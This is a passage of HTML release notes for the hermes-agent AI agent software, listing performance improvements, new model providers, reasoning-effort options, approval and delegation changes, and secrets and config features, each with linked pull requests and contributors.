<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
